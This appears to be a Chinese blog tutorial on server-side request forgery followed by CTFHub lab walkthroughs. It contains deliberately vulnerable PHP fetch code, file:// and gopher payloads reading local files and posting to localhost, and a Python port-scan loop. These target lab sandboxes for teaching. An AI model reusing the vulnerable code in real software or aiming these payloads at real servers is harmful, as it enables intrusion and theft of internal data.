img

上面是大概的整个框架,咱们一个一个来

SSRF漏洞介绍及原理

主要由攻击者构造请求,由服务端发起请求的安全漏洞,差不多就是信息泄露漏洞。攻击的目标是外网无法访问的内部系统。

形成是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

攻击方式:

  • 对外网,服务器所在内网,本地进行端口扫描,获取一些服务的banner信息
  • 攻击运行在内网或本地的应用程序。
  • 攻击内外网的web应用,使用http get请求就可以实现
  • 利用file协议读取本地文件

漏洞产生的相关函数:

file_get_contents()

1
2
3
4
<?php
$url = $_GET['url'];; #从URL参数中获取名url的值,并将其赋给变量$url,同时就意味着攻击者可通过修改URL直接控制这个变量
echo file_get_contents($url); #使用file_get_contents()函数读取由$url指定的内容,并通过echo输出到页面上。
?>

这个函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。

这个函数把一个字符串写入文件中

fsockopen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n"; #检查是否连接成功,若上述返回false,则输出错误信息并结束执行。
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out); }
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents; #fgets()函数逐行读取服务器返回的数据,并且读取的内容被追加到变量$contents中,最后,关闭socket连接并返回收集的所有数据。
}
}
?>

这个函数实现对用户指定url数据的获取,使用socket连接,使用fsockopen()函数尝试与远端服务器建立TCP/IP连接。若连接成功,返回一个资源标识符;反之返回false。

host是主机名,port是端口,errstr表示错误信息将以字符串的信息返回,且以30为时限

curl_exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init(); # 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); #设置 URL 和相应的选项
$result=curl_exec($curlobj);# 抓取 URL 并把它传递给浏览器
curl_close($curlobj);# 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

这个函数用于执行指定的cURL会话

注意!!

  1. 一般情况下PHP不会开启fopen的gopher wrapper
  2. file_get_contents的gopher协议不能URL编码
  3. file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
  4. curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
  5. curl_exec() //默认不跟踪跳转
  6. file_get_contents() // file_get_contents支持php://input协议

看一些相关例题

CTFHUB-内网访问

img

图中包含关键信息 尝试访问位于127.0.0.1的flag.php

已经提示要访问的内网地址,并且输入进去回车一下并没有被挡住

1
http://challenge-37f9ce83319ff7da.sandbox.ctfhub.com:10800/?url=``127.0.0.1/flag.php

如上图,得到

img

1
ctfhub{c73c88945792dbcb94a739d9}

CTFHUB-伪协议读取文件

img

根据给出的提示,读取web目录下的flag.php,所以我们应该知道web目录地址,通常情况下是在/var/www/html/

还有一个知识预备:

file:// -访问本地文件系统

http:// -访问http(s)网址

…….

1
http://challenge-aad86e53e0aa9832.sandbox.ctfhub.com:10800/?``url=file:///var/www/html/flag.php

img

查看源码后获得flag

1
ctfhub{381b765b9f4b42b05d4ff235}

CTFHUB-端口扫描

img

解法一:利用Burp

img

img

img

开始攻击

img

找到长度不同对应的端口,8468

1
http://challenge-278b9ef55b2c3682.sandbox.ctfhub.com:10800/``?url=127.0.0.1:8468

img

解法二:利用脚本

1
2
3
4
5
6
import requests    #导入repuests库,用于发送http请求
url = 'http://challenge-278b9ef55b2c3682.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000'
for index in range(8000, 9001): #用于遍历窗口8000-9000
url_1 = f'http://challenge-278b9ef55b2c3682.sandbox.ctfhub.com:10800/?url=127.0.0.1:{index}'
res = requests.get(url_1) #发送get请求
print(index, res.text)

img

当运行到对应端口,出现flag

1
ctfhub{2eca6e24d819312c473a34d1}

CTFHUB-POST请求

img

看提示

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

我们先试着通过GET访问一下flag.php

1
http://challenge-42b6c44fe6645614.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php

img

查看一下源码

1
2
3
4
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=11204e9be51c95a55882a55de3d9c4aa-->
</form>

那我们就在输入框中输入key的值

显示一下页面

img

意思是我们只被允许从127.0.0.1中访问

尝试通过file协议读取index.php和flag.php的源码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

我们使用Gopher 协议向服务器发送POST包,下面是构造的请求

1
2
3
4
5
6
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=11204e9be51c95a55882a55de3d9c4aa

下面是利用赛博厨子对url编码进行编码

img

img

发送post请求,得到flag

1
ctfhub{697c699c9719bbf6a98fa2d9}